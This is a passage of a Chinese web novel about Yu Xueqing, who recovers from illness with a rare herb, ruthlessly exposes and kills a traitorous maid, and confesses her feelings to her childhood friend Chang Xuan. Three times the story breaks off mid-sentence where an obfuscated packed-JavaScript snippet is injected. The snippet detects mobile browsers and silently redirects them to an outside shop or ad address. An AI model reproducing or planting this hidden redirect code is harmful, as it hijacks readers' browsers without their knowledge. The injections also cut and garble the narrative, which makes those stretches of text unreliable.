玉雪倾突然托住千里撼的脸,拇指在她眼下扫了扫,内疚道:“这几日苦了你了。” “说的什么话,我不过少睡几日,你的性命才是首要的。”千里撼捂住玉雪倾微微颤抖的手拍了拍,安抚道。 玉雪倾笑了下,眉头却皱着,显然是在自责,千里撼看出来她的心思却无可奈何,只能默默攥紧她的手。 千里撼想和她说得病不是你的错,但是不行,玉雪卿这样的人,越安慰就越难过,只能让她自己消化。 “无论如何,你又救了我……”玉雪倾喃喃道。 “你说什么?”千里撼没听清她地话。 “没什么,我——” “郡主!”一阵急促的脚步声打断了两人的对话,闻武手持寒芝气喘吁吁站在门外。 千里撼起身问道:“怎么了?” “郡主,请随我来一下。”说罢,闻武拉起千里撼走到院落 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心情在一瞬间发生天翻地覆地变化玉襄已经不是第一次感受了,就在前一刻她还欣喜地想着玉雪倾喝过药后定会胃口大开,所以准备许多美味佳肴,可如今,盘碗碎了一地她都无知无觉。 “郡主所言,当真吗?”她不愿相信,于是又问一遍。 树下两人齐齐看向玉襄,千里撼望着那双近似恳求的眼睛不知该怎么说,话到嘴边又硬咽了下去。 “……还有时间,我们还有一天的时间,我去找,现在就去找!”千里撼四肢冰冷,慌不择路,说罢就要去找,可她根本不知道该去哪儿找。 闻武见状一把拉住千里撼,劝阻道:“郡主你先冷静!我们从长计议,好不好?” 寒夜刺骨,几人围坐屋中相顾无言。 玉雪倾看着屋内面色沉重的几人,有些抱歉地笑了,她浅浅叹了口气拉过千里撼冰凉的手道:“琼林,辛苦你为我费心,玉折感激不尽。生死有命,你不必因此难过,我是你最亲密得好友,无论生死我都会帮助你,助你完成大业。” “玉折,我们还有时间……”千里撼看着玉雪倾坦荡的模样顿时有些焦急,话音带了丝不易察觉的哭腔。 “我相信你,但有些事是注定。今生今世我能行至此处,有一大半都要感谢你,或许这是我的命,我已知足。但我不想悄无声息地死去,在最后,我想用这条命帮你一个忙。” 千里撼不解道:“什么?” 玉雪倾默默笑了下,贴近千里喊耳侧道:“这是个秘密,日后你自然会懂。” “不行!玉折你不能做傻事,还有一天的时间,你不能就这么认命!” “放心吧琼林,”玉雪倾拍了拍她的手背道,“我会撑到最后一刻,毕竟在这世上我还有牵挂。” 玉雪倾说着,转头看了眼玉襄和常玄。 玉襄当即起身道:“话还说的太早,与其在这儿听遗言不如去找寒芝!” “姨母等等!”玉雪倾道。 玉襄走到门口却被叫住,身子僵硬,迟迟不敢回头看玉雪倾,“怎么了。” 玉雪倾:“折儿深谢姨母多年照拂。” 玉襄鼻尖一酸,眼眶当即盈满泪水,扶着门框的手默默攥紧,强忍住哽咽道:“你知道我不爱听这话,还是省省吧。一个人管国公府太累,你若真孝顺就撑住了,等我取药回来!” 玉襄要强,玉雪倾最是了解这个嘴硬心软地姨母,自从母亲去世她便接管宅子,里里外外不知吃了多少苦,那些所谓的“刺”不过是逼不得已的存在罢了。 常玄僵硬的站在原地,任凭玉雪倾怎么呼唤也一动不动,像不愿相信这一切。方才,她为玉雪倾准备了一床崭新的被褥,里头充满了鹅绒,躺上去如同在云间打滚。 他想,玉雪倾辗转病榻多时,如果能有一床这样的被褥会舒坦许多,噩梦也能少做些。玉雪倾熟睡时会下意识揪住被子,皱紧眉头,分明是在恐惧什么,可身体却像是习惯了,直挺挺躺在那儿,压抑的连声尖叫都没有。 这种感觉他再熟悉不过,陈氏被抄前每一日他都是这么过来的,像被弓箭瞄准般,时时不敢松懈,到最后只求一个解脱。 29. 血雨腥风 九 千里撼低垂着眉眼,紧紧握住玉雪倾,不相信再过一日这个活生生的人就会消失,而她所做的一切都将成为无用功。 她强行扭转了玉雪倾的命运,不让她嫁给千里逢,试图更改她的命运,可到头来这一切竟成了催命符。 难道这就是抵抗命运的代价吗。 多可恶的世界,独独揪着一个想活命的女人祸害,反复逼她去死。 玉雪倾倒是坦然,仿若事不关己,只默默地笑着,怜悯地用目光拥抱每个人,无可奈何的同情着她们。 方生方死,方死方生。她来世上走一遭,如今不过是回到原本的地方罢了。 千里撼沉默良久,猛地出门却撞上了玉襄。 “玉大人?” 黑夜里,下人提着两盏灯分别站在玉襄两侧,面无表情似被冻硬般。北风呼啸,她手中两张信纸交叠发出沙沙声,黑发夹杂着银丝胡乱打在面颊,玉襄无意识屏住呼吸,死死盯着信上地两个大字——“聘礼”。 千里撼顺着玉襄视线望去,发觉地上放着个绑着大红花的盒子。 千里撼:“这是什么?” 玉襄僵硬挪开视线,冰冷的睨向那个盒子,一字一句道,“寒、芝。” “什么?!”千里撼猛的夺过信看了眼,总共两张纸,一张写了“婚书”另一张写了“聘礼”。 落款——白圣孺。 白圣孺?这和他有什么关系?他为什么会知道?寒芝,他为什么会有寒芝! 一连串的问题在千里撼脑中连续炸开,她盯着这四个大字站在寒风中不知所措。玉襄则像是回过了神,一把提起寒芝跑向屋内。 理智重回笼中,玉襄来不及搭理千里撼,竭尽全力扯出个笑容将盒子拿给闻武确认道:“孩子,你看这是寒芝吗?” 闻武拿过嗅闻一番,惊讶道:“正是!国公从何得来?” 玉雪倾闻言一愣,挣扎出床榻拉住玉襄急切问道:“姨母!姨母你是哪里找来的?你做了什么?” 常玄见状急忙扶住玉雪倾,将其送回榻上盖好被子。 “不要管了,别管这些了!快,快拿去煎药给折儿,”她的衣角被玉雪倾死死攥住,却故意不去回头看玉雪倾,因为心虚,“太好了,有救了,有救了……” 玉雪倾心中疑虑越深,即便身体虚弱却高声呼喊着,“姨母,回答我!你为什么不说话!为什么?” 玉襄杵在原地,咬紧牙关一语不发。她在朝纵横十几年,三皇子地意思怎会不知? 玉家出此大乱,她捂得严严实实却被三皇子所知,甚至细致到连玉雪倾得什么病都一清二楚。 他像个悠哉的猎手,布好陷阱等着她们跳。玉雪倾突如其来的病,消失不见的寒芝,以及这封写满羞辱的“婚书”。他极其笃定玉家会应下这门亲事,连装都懒得装一下,没做丝毫无用功,只轻飘飘端来一个盒子告诉玉襄——玉雪倾要么嫁给他,要么死。 玉家势大,如今却被压制的毫无还手之力,只能断尾求生,纵然如此也是四家之首,门客众多,影响巨大。三皇子出身一般,能与玉家联姻,几乎百利而无一害。 真是打的一手好算盘。玉襄默默攥紧拳头,想不到白圣孺居然有这番心机,而她却不得不从。 “姨母,你说话,告诉我这是怎么回事!否则我现在就去死!”玉雪倾见玉襄迟迟不语,恐惧越扩越大,猛的抄起手边汤匙敲碎扎在颈侧威胁道。 鲜血顺着锁骨染红衣裳,玉雪倾瞪着玉襄地背影,赌气似的将汤匙越按越深。 玉襄猛地转身,眼睛被那一抹红刺痛,心却越来越坚定,冷冷道:“由不得你。常玄,打晕她!” “你敢!”玉雪倾猛的又将汤匙往脖子里送了几分,透过瓷器,她甚至能感受到里头跳动的频率,一下,一下。 “不!我不会做你讨厌的事。不要,我求你不要这样!我好害怕……”常玄一瞬间惊出了泪,扑通一声跪在地上,颤抖着攀上玉雪倾握住汤匙地手,一遍遍恳求着。 玉襄和玉雪倾无声的对垒,望着玉雪倾颤抖的手臂,她在思考也在寻找机会。玉雪倾必须活着,就算今天把她打晕了也得把药灌进去,左右不过嫁人,大不了就满门抄斩! “够了!”千里撼的声音从门口传来打断了两人的斗争。 她像是刚解冻,言语中透露着寒气,浑身冰冷的踏入门内看向两人,眼中毫无生气。 “玉大人,你不觉得自己太自私了吗。此事应由玉折自己决定,你无权做主!” 玉襄瞪向千里撼,快步向其逼近,两人之间仅余五步时,一个黑影突然横在中间拿剑抵住玉襄道:“请大人后退!” “呵,”玉雪倾看了眼佩儿,冷笑道,“我国公府的事何时轮到你金安郡主做主了?” “大人最好还是听郡主把话说完吧,”在其身后,闻武不知何时起身,拿着一柄红烛放在寒芝上方道,“此物仅需一滴蜡油便可摧毁,还请大人三思而后行。” “你,你们!”玉襄一口气提上来,胡乱指着几人,气得说不出话。 千里撼捻着那两张纸沉重的走向玉雪倾,她什么都没有说,只将其交给玉雪倾。 在她心中,玉雪倾是个聪明且有主见的人,她有承担后果的能力,这世上没人比她更了解自己需要什么。无论结果如何,只要玉雪倾情愿,她便不会干涉。 这是千里撼在风雪中站了许久,终于想通的决定。 她要维护玉雪倾的自由,无论生死,玉雪倾都有选择的尊严。 薄薄的纸张落到玉雪倾掌心,举着汤匙的手渐渐落下,看着上头潦草狂妄的大字玉雪倾竟一时笑了出来,几近讽刺。 她这个人,这条命,怎么就这么多人惦记? 颈侧鲜血滴落,千里撼掏出手绢为其捂住,却被玉雪倾一把打掉。 “不必了。” 玉雪倾像变了个人,语气生冷,方才的温柔坦率一扫而空。千里撼鲜少见这样的她,无措的盯着玉雪倾却说不出半个字,只得看了看玉襄,发觉她也也不知所措,除了常玄。 常玄看起来怕极了,双手止不住的发抖,他跪坐在玉雪倾身侧拽着她的胳膊轻轻摇晃,盯着那个血窟窿,想要触碰又不敢,青面獠牙的罗刹鬼面戴在他脸上竟似要哭泣。 他不是第一次见玉雪倾这样了。 自他们重逢起,玉雪倾便常在夜深人静时盯着某样东西发呆,躲在无人之处又哭又笑,第二天白日里又恢复如初。这一切他都看在眼里,却无可奈何,每当这时玉雪倾都会拒绝所有人,把自己关起来,有时甚至是好几天。 常玄没法告诉别人,更不能请大夫,只能日夜守在玉雪倾门口,等她恢复后为其洗清面上的泪痕。 他能做的太少,唯有恳求,就像现在一样,凝视着玉雪倾的伤口,连为其擦拭的勇气都没有。 玉雪倾沉默许久,大大的眼睛半睁着,如同搁浅的死鱼,信纸被她攥的皱皱巴巴。 “刺啦!” 信纸在玉雪倾手中裂开,她一点点将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千里撼无言的看着玉雪倾,她清楚那摞纸代表着什么,那是她们的“大业”。玉雪倾从一开始就目的明确,做了许多准备,从前不显山露水是因为不必要,如今却要绞尽脑汁地全倒出来,像托孤般,交给她。 玉雪倾在用行动告诉千里撼,哪怕她死了,也依旧会陪着千里撼。 千里撼将继承玉雪倾的一切,背负两个人的重量,继续走下去。 去也终须去,留不得,止不住。 红烛摇滚,疾书奋笔,玉雪倾脸色愈发苍白,她显然撑不住了,可周围竟无人敢劝,通通注视着她。常玄雷打不动的研磨,确保玉雪倾每一笔都有挂墨,千里撼守在她身侧,不容许任何人打扰她,玉襄望着那道清瘦的背影,与记忆中的玉如意渐渐重叠,模糊。 屋内唯余沙沙声。 “砰!!” 一声巨响,大门被人踹开,冷风猛的撞进屋内,众人齐齐望去,看到罗凛扛着一个麻袋站在门口。 千里撼疑惑道:“罗凛?你怎么在这儿。” 罗凛见屋内静悄悄,特地转身关好门才走到千里撼面前一把丢下麻袋,道:“寒芝。” 玉襄:“什么?” 千里撼急忙扯开麻袋,寒芝顿时“爆”了出来,滚落满地,“这……” “我来给你送寒芝,但在相府找不到你,燕儿姐姐说你在这儿我就来了,”罗凛说罢,从地上挑了个最好看的塞进千里撼手中,乖巧的傻笑了下道,“给你。” 30. 血雨腥风 十 闻武看着满地的寒芝愣了一会儿,当即拾起一顶跑去厨房煎药,不多时便端着碗特腾腾的汤药给玉雪倾灌了下去。 寒芝不愧为寒芝,刚一下肚,玉雪倾身上立即生出股暖意。 闻武:“如此一来,玉姑娘只需歇息一夜便能大好,之后按照我的药方吃,不出七日即可痊愈。” “太好了!”玉襄握着玉雪倾回暖的双手欣喜非常,转身就要拜谢闻武。 闻武赶忙接住玉襄道:“大人客气,在下不过举手之劳。若真是要谢也该谢郡主才对。” 玉襄:“方才我对郡主多有冒犯,还请谅解。日后若有需要,我玉家定为郡主赴汤蹈火!” “大人万万不可!”千里撼阻止道,“小辈受不起这些,雪倾是我知己好友,救她等同于救我,无需道谢。” “琼林……” 豆大的汗珠从从玉雪倾额前冒出,她正是发汗的时候,浑身颤抖,不能自已。千里撼到她身前问道:“怎么了?” 她将耳朵贴近玉雪倾唇边,片刻,千里撼利落起身对玉襄道:“既然雪倾已无大碍我便先行告辞了。” 玉襄:“好,郡主慢走。” 千里撼带着一群人钻进马车,趁天还没亮匆匆逃回相府,路上一言不发。 罗凛疑惑道:“郡主为何走的这么急?” “玉家出了奸细。雪倾叫我们天亮前离开,好做清算。”千里撼道。 “哦,要怎么清算啊?” 一行人抵达相府时天刚蒙蒙亮,玉雪倾睡醒一觉明显感觉身子轻了许多,常玄在其身侧沉睡,想必是因为这几日实在过于劳累。 她轻轻卸下鬼面,像逗小狗似的点了点他的鼻尖,熟睡中的常玄无知无觉,只下意识往她身边蹭了蹭,玉雪倾见此忍俊不禁。 谁能想到在罗刹鬼面之下藏着的是个这么好欺负的人呢? 虽是大病初愈,可玉雪倾自觉已与往常无异,披了件衣裳就出门,结果迎面撞上玉襄。 “你怎么大清早穿这么少就出门!”玉襄说着,解下自己的披风就要往玉雪倾身上盖。 “没事的姨母,我有件要紧的事得马上做,”她拉着玉襄一同前往文翰厅,“昨夜之事姨母也觉得蹊跷吧,可查出什么了吗?” “只揪到些无关紧要的人。” “没关系,我知道根在哪儿。”玉雪倾说着,露出个明媚的笑容。 两人稳坐屋中,玉襄唤来贴身侍女道:“玉簪,去把下人都叫过来,我要训话。” “是。” 一群人浩浩荡荡聚集在此,玉襄在此之前已经打发了近三成的仆从,可国公府毕竟家大业大,真把领头的都召集起来也不在少数。 玉雪倾见人齐了,发话道:“昨夜国公府失窃,我房里少了一支御赐金簪,你们都是府里老人了,知晓该怎么办吧。” 众人你看我我看你,一名老妇率先发话道:“回姑娘的话,昨夜在你房中伺候的是老婆子我手下的人。不算看守的话,共计十人。” “来回经过的都算上呢?” “哎呦!姑娘住在高风阁,只要进入内宅便会经过,这么算下来可有不少人啊。” “原来仅昨夜便有数不清的人经过我高风阁啊。若我说这金簪子早在七日之前便丢了,按朱妈妈的话,是不是整个国公府的下人都有嫌疑,连同我和姨母也得问审!”玉雪倾一把将茶碗扫下桌子,摔得粉碎,下人见平时最是温顺的玉雪倾这副模样纷纷跪倒在地,心中犯起嘀咕。 “这、奴婢绝无此意啊!” “来人!把朱妈妈带下去好好盘问·,叫她回忆回忆,这些天都有谁进过高风阁!” “这不关我的事啊!姑娘,真的和我老婆子没关系啊!”朱妈妈被人拖了下去,到不远处打了顿板子,惨叫穿透墙壁,回荡在文翰厅。 下人为玉雪倾上了碗新茶,她抿了一口润润唇继续道,“我知道你们是怎么想的。素日里都是姨母管着这些,怎么今天却轮到我了呢。” “府内上下,姨母一人兼顾内外实在劳累,难免会有纰漏,防不住有人‘灯下黑’。这根金簪就是例子,它被压箱底放着,如今却在我眼皮子底下丢了,简直就是在打我的脸!姨母心慈,平日里管你们虽严,手却是松的,把你们调教的聪明又势利。如今我来了,谁都别想跑,今日这簪子若是找不着,就别怪我大开杀戒了!” 玉襄坐在一旁品茶旁观,玉雪倾自小便对下人宽厚,内宅之事没插过手,如今真管起来居然有模有样,几句话下来,鸦雀无声。 “都尉,那老婆子说的人名都记下了,您请看。”一女子身形魁梧,一看便是行伍之人,拿了张纸到玉雪倾跟前道。 “她人呢,怎么样。”玉雪倾接过纸看起来。 “起先挨了几板子便晕死过去了,后来被我们一桶水泼醒,又挨了几下就没声了。” “呵,”玉雪倾扫了眼上头的人名,密密麻麻足有三四十个,“我少管家,不清楚你们的过往。这纸上有许多人名,一个个查起来费时费力。这样,你们分成三队,每队十五人,挨个儿的搜这些人的屋子,一旦发现赃物,重重有赏!但若有人存心包庇或蓄意栽赃,就小心吃板子吧!” 话音刚落,下人们纷纷动起来,一时间国公府鸡飞狗跳,那几十人的屋子被翻了个底朝天。 玉襄见此,低声道:“这是何意,如此下去恐有冤案啊。” 玉雪倾笑了一下,神神秘秘道:“人与人之间平日里关系看不出深浅,可一旦牵扯利益就清楚了。除了经年的老人,在这府上做事没人能不树敌,真有那八面玲珑的又何必在这儿当下人。那奸细狡猾,能瞒过你的眼睛藏的这么深,必然聪明,平日里该不少花钱打点人吧。” “也有道理。” 一早上过去,玉雪倾从不知道这府上家丁手里居然能这么有货,大到瓶瓶罐罐,小到珍珠首饰,这群人搜出来的东西竟堆了座小山。 “呵呵,”她拿着一叠厚厚的指认书,发觉竟没一个干净的,或是指认旁人或是被人指认,左右都有敌人,“好啊,真好啊,想不到小小内宅竟卧虎藏龙。你们搜完了对吧,轮到她们了。” 那些被朱妈妈叫出名字的人一见自己的屋子被翻成这副模样顿时气的冒火,如今被玉雪倾下令反过来搜,一个个似打了鸡血,不一会儿就又搜出一座小山来。 玉雪倾翻看另一沓指认书,满满当当又是一堆“罪证”。半晌,一个名字突然吸引了她的视线——菱角。 满府上下无一人清白,唯她“两袖清风”。 玉雪倾盯着那个名字,眼神暗了暗,唇角勾出一抹讥讽的笑。 “看来我赏赐的金银不如你多啊。” “菱角,”玉雪倾点了她的名,夸奖道,“满府上下唯你一人清白,不愧为我亲选的侍女领班。” 菱角于众人之中拜谢道:“奴婢自小家风严谨,能得姑娘赏识入府已是大幸,怎敢肖想身外之物。” “很好,想必大家都对你的为人有目共睹。可是我的金簪子呢,它还是没有找到啊。” 玉雪倾换了个舒坦的姿势翘起二郎腿,足尖轻轻一扫,那两座“金山”应声倒地。 她冷冷笑道:“都说话啊,难不成是这金簪子自己长腿跑了吗?!” 低下顿时鸦雀无声。 “除了菱角,你们每个人都不清白。我开头便说了吧,我今日来就是要大开杀戒的,”玉雪倾说完看向众人,话锋一转道,“不过年关刚过,国公府不宜血流成河。这样,你们这些有罪的每人写个名字出来,交到我手里,那个被指出最多的,就要死。” “怎么样,出一人抵众人之罪,”玉雪倾叫衡娘给每人发了纸笔道,“还等什么,都写吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292900|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人犹豫一番,你看我我看你,最终沉默不语埋头写下名字。 衡娘将名字收上来给玉雪倾看,她翻看着,笑意愈深,这样的神情搁在玉雪倾脸上尤其割裂,像被鬼附身的菩萨像,阴冷潮湿。 “衡娘,把菱角拖到院中,就地打死。” “什么?!”菱角猛地抬头,环顾左右,众人皆埋头不言语,“这怎么可能,我对你们那么好!怎么可能是我,这不可能!” “呵呵,”玉雪倾手腕一转,将那沓纸狠狠甩到她脸上戏谑道,“是吗,不信的话就自己看看吧。” 竹纸砸在菱角胸口随即散落满地,白纸黑字,清清楚楚,飞起的每一张都有她地名字。 菱角:“不可能!凭什么,我没做错!这满屋之中只有我清白,凭什么我要因他们的错误去死,我不服!” “不凭什么,凭他们‘献祭’了你。”玉雪倾话音刚落便将衡娘拖了出去,在众人身后,高高举起板子,一下下落到菱角背上。 菱角:“我不服!我不服!凭什么该死的是我!” 菱角:“玉雪倾你草芥人命,不治奸佞反害忠良!!” 菱角:“救命!救命啊!!你们这些王八羔子,我素日里对你们掏心掏肺,从不吝啬金银,如今却都反过来杀我!我做鬼也不会发放过你们!!” 菱角:“啊!啊、啊啊!饶命,饶命啊!” 菱角:“姑娘,姑娘我错了!奴婢伺候您多年,没有功劳也有苦劳啊!我从小跟着您,饶我一命吧!” 菱角:“姑娘、姑娘我错了,救救我,我错了……” 玉雪倾不自觉紧咬牙关,她猛地意识到这件事,旋即松开,离开座位来到院中示意衡娘停手。菱角被打的血肉模糊,鹅黄色的衣衫殷出大片大片刺眼的红。 她俯下身,贴近菱角耳侧轻声道:“如何,被人背叛的滋味。” “……什么?饶命、姑娘饶命啊。” “原来你还知道叫我姑娘。我以为你早就忘了当初是谁买下你,供你吃穿,让你不必饿死街头。可菱角,你是怎么报答我的?吃里扒外?” “不、不是的!我只是一时鬼迷心窍,姑娘求你再给我一次机会,我……” 玉雪倾抵住她颤抖的嘴唇摇了摇头道,“不必了。菱角,我知道你会背叛我,可我没想到会是这么早。这期间我分明有许多机会收拾你,可我都没有,所以趁这一次做个了解吧。” 一根凤头金簪深深没入菱角后颈,无声无息的带走了她的生命,鲜红的血液为凤眸点了睛,而菱角的眼睛却难以闭上,死死的睁着。 玉雪倾利落拔出金簪,亲手为菱角合上眼后慢悠悠走回厅内,甩了甩簪子上的血液宣布道:“金簪找到了,藏在菱角的喉咙里。她知道的多,嘴巴又不严,如今替你们死了也算死得其所。都给我记住了!从今往后,再有哪个敢对国公府不忠,她就是下场!” 玉襄坐在后头不禁感叹玉雪倾的手腕,够狠辣。如此一来,满院上下皆是凶手,这杀鸡儆猴的招数虽老生常谈,却实在有用。 玉雪倾一把将簪子扎在桌上立住,不经意踢了踢那堆“赃物”道,“将这些东西都扔进菱角棺材里做陪葬吧,毕竟人家替你们死了呢,总得要点儿好处不是。” 这一上午的闹剧终于结束,玉襄清了清嗓子整理道:“所有人,扣三个月利钱以示惩戒。来人把菱角找地儿埋了,都散了吧。” 众人做鸟兽散,路过菱角时纷纷避开,连看一眼都不敢。 玉雪倾坐回太师椅,嗅着空气中的血腥气突然恶心,不动声色的喝了口茶压了压,眼前全是菱角小时候的模样。 她不知道菱角是从什么时候开始被人收买的,或许刚刚,或许更早。可无论如何,背叛是真的。菱角就像秋天的第一片落叶,落叶那么轻,肆意飘摇,全然不知自己究竟能闯出多大的祸来。 31. 风月赋 一 高风阁内,常玄揉了揉眼睛,迷迷糊糊的摸了摸身侧却只抓到冰冷床褥,他猛地惊醒坐起,环视四周空荡,急忙冲出被褥,鞋都来不及穿就跑了出去。 玉雪倾刚才料理完家事打算叫常玄一同去吃中饭,不想竟见到他这幅狼狈模样。 屋门匆忙打开,里头跌跌撞撞的钻出个只穿中衣的人,一根木簪胡乱的擎着满头重发,隐隐快要有“山崩地摧”之势。 他四处张望着,一头乱发甩来甩去,手中攥着件外衣却不记得身上披,只一间间房找过去。正午雪刚化,光脚踩在地上与踩在刀子上几乎无异。 见此,玉雪倾不自觉笑了出来,遣散后头侍从,脚步轻轻来到常玄身后盯着他。 若做平日常玄早就发现了,可今时不知怎得,玉雪倾跟了他许久也没见其转头。无奈之下,她只好拿过常玄手中外衣出声道:“在找什么?”说罢,为其披上衣服。 常玄猛的绷紧全身朝后头望去,湿漉漉的眼睛布满水汽,确认是玉雪倾后又颤颤巍巍的拿下肩上的外衣给她披去。 “……我看你不见了,就来找你。” “找我作什么,我在自己家里还会丢吗?” “我不是,我怕你……”常玄说着,脸部不自觉红透了。 昨夜玉雪倾嫌冷,便将他抓过来陪睡,美其名曰抱着个热乎乎的男人比汤婆子有用。常玄本来死活都不肯,可后来玉雪倾说只是睡觉,他便应了。这一夜里玉雪倾靠着他睡的倒熟,只是他两个大眼睛像灯笼似的,直挺挺躺在榻上忐忑不已,天快亮时才缓缓睡去。 玉雪倾不露声色的笑了下,见常玄这副模样故意逗他道:“我还以为你不愿意,一早起来想跑,急得连鞋子都不穿。”说罢,拽着他进屋穿上鞋子。 “不!我愿意!我没想跑,只是想找你。”常玄急吼吼否认道。 “哦,愿意,”玉雪倾玩味的瞧着他,唇角勾起一抹不怀好意的笑道,“愿意什么?” “我!我……”常玄眼神躲闪,两只耳朵瞬间红透,迟迟不敢与玉雪倾对视。 他当然知道玉雪倾的意思,昨夜一钻进被窝他就死死攥住腰带,活像老僧入定,然而心却乱窜个不停,始终隐隐期待着,然而玉雪倾自始至终不动分毫,真就像她说的“只是睡觉”。 见玉雪倾睡着,常玄悄悄探出脑袋看她,不自觉松了口气,心底多少有点难言的失落。 他就这么没有吸引力吗?是因为长得丑还是哪里不够好,难道是身材不行吗? 常玄想起罗凛的身形,不自觉摸了摸自己的胸膛,这么比下来自己好像的确差了些。可万一玉雪倾不喜欢北疆人呢? 他侧过身枕着胳膊往玉雪倾身旁又蹭了蹭,月光将玉雪倾的轮廓勾勒的十分清晰,似美玉雕琢而成,若非呼吸起伏变化,难以分辨其人真假。 常玄伸出指尖悄悄靠近她光滑的面颊,就快要触碰时却停住了,一股难言的情绪制止了他的动作,食指似被烫伤般猛的瑟缩回去,钻进掌心面壁思过。 他有好多话想和玉雪倾说,常玄耷拉着脑袋有些沮丧。 玉雪倾瞧出他的异样,托起他的脑袋关切道:“怎么了?” 常玄不敢与她对视,别过眼神沉默着,眼中尽是担忧。良久,他终于愿意开口,“阿折,不要试探我的真心。” 玉雪倾一愣,捧着常玄的手渐渐松开,“你指什么。” “你、你明知道我对你……还……”常玄断断续续道。 “你要说的就是这些吗?” 常玄闻言猛的惊醒,他感受到玉雪倾语气中的失望顿时有些慌乱,“我没有别的意思,我愿意!我什么都愿意!你不要生气,我只是害怕……” “陈长行。” 常玄顿时僵住,不知该如何行动,已经好久没人这样叫过他了。 “长行,”玉雪倾微微蹙眉,像在心痛,她按住常玄迫使其坐下,“你我青梅竹马,自小一同长大,我以为我们彼此相知,可为什么?为什么你永远在看我的脸色。” “你的喜怒哀乐呢?”玉雪倾哀伤的看着他,她想问常玄这些年都经历了什么,是什么改变了他,可这无异于伤口撒盐,她说不出口。 “我……” 看玉雪倾的脸色吗?常玄不自觉的回忆着,他并没觉得这有什么不对,只要能让玉雪倾喜欢他依恋他,做什么都无所谓。至于他的喜怒哀乐,那是无关紧要的东西。 “我不想被你讨厌,”常玄深吸一口气道,“我见过你看白笑孔的模样,那个眼神,我这辈子都不想它落在我身上。我想让你对我笑、让你觉得我好、让你需要我,我想永远和你在一起。” “居然是这样吗,”玉雪倾自嘲的笑了下问道,“那你为什么想和我在一起。” 常玄脱口而出,“当然是因——” 玉雪倾打断道:“因为喜欢,还是依赖。” “有区别吗,”常玄不解道,“不都是离不开你吗。” “不一样,”玉雪倾俯下身去,像母亲般将常玄冻红的脚捧捂在手心,她悄悄叹息,摇了摇头,“长行,你知道我不会依赖任何人,所以这句话是假话,我要听你的真话。” “不,”脚上温柔的触感让常玄有种全身过电的感觉,他本能的想要缩回脚却被玉雪倾强硬的抓住,“玉折!你金尊玉贵的,不要做这种事!很脏!” 玉雪倾不动,固执问道:“回答我。” 常玄:“我不会骗你,我所说的每个字都是真话。” “是吗?”玉雪倾冷哼一声道,“可你分明在怕我。” “自我们重逢后你便处处谨小慎微,我记得你从前最爱谈天说地,如今却能与我共处三日不发一语。你以为只有你在看着我,殊不知也在看着你,看着你站在我五步之外的地方沉默,无论我做什么你都只有顺从,不闻不问。” “我只是不想打扰你,我怕你烦我,怕自己耽误你,我没有不在乎你。我记得很多,我记得你的每一件事,我知道你总在夜里哭,我也知道你其实……” “那你为什么从来都不问我。问我为什么哭,为什么笑,为什么会在珍马行买下你?” 这分明是他最想问的,如今却从玉雪倾的嘴里说了出来。自重逢起这个问题就始终萦绕在他心间,陈氏没了,他如同丧家之犬,再没了价值。寻常人会买下他不过是念着“陈氏”这个旧招牌,而玉雪倾不同,她们两家是世交,她助他脱困全在情理之中,根本不需要太多理由。 可他就是不死心,想要个无关情谊的理由,又没脸这么做。 “……你为什么哭、为什么笑、为什么买下我。”常玄默默重复着,心底攒满可耻的期待,他不敢看玉雪倾的脸却将耳朵竖的高高的,生怕错漏了一个字。 “因为我心里有你。” 一道声音顿时在常玄脑中炸开,他听到了最想听到的话却不敢相信,玉雪倾干净的眼眸倒映出他的身影,常玄盯着它看,企图从那双眼中找到一点虚假。 “别再、寻我开心了……” 他本能的否定,毕竟玉雪倾怎么能喜欢他呢?他一无所有,什么都不是,连名字都是假的,玉雪倾怎么会喜欢他。 “你认为我在玩弄你?”玉雪倾笑出了声,眼神不受控的拐向别处,自嘲一番。 她不明白陈长行为什么能说出这样的话,好像她的真心投进江里连个水花儿都没有。“玩弄”,究竟是谁在玩弄谁,对她无微不至的同时又竖起高墙算不算一种玩弄? 玉雪倾颓废的倒退几步,双唇轻颤,隐隐有股怒气升腾,她知道常玄在怕什么,“常玄,身份地位就那么重要吗?” “……” 常玄将头转向一边不置可否,拥有的时候不重要,没有的时候就显得重要了。 玉雪倾咬紧牙关,她不喜欢常玄拒绝她的样子,于是屈膝压在常玄身侧将他的脸扳正,让他只能看她,“陈长行,你不是圣人,只是个胆小、任性、愚蠢、又自以为是的笨蛋。你分明屡次惹我伤心,让我后退,可我就是忘不掉你。两百万两黄金不是小数目,哪怕把国公府搬空了也凑不出这么多,可为了你,再高的价我都敢叫。” 陈长行默默听着,一滴温热滑落玉雪倾掌心。 “琼林说的对,我私心里你就是属于我的,无论你在哪里,无论你什么样。我做过一个梦,梦见你和我说要去很远的地方再也不会回来,我恨的牙痒痒,甚至想杀了你。可我还是放你走了,因为我也是个愚蠢傲慢的家伙,我认为你总有一天会回来。可是陈长行,我有点等不下去了,”玉雪倾抵上陈长行额头轻声道,“如果我说我允许你向我靠近,你会往前走一步吗?” “我——” 像是害怕拒绝,玉雪倾堵住了他的嘴巴,双手擒住陈长行小臂狠狠压了下去,冰冷的唇瓣触及到陈长行,她感受得到,他在颤抖。 唇舌交缠间隐隐有了血的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 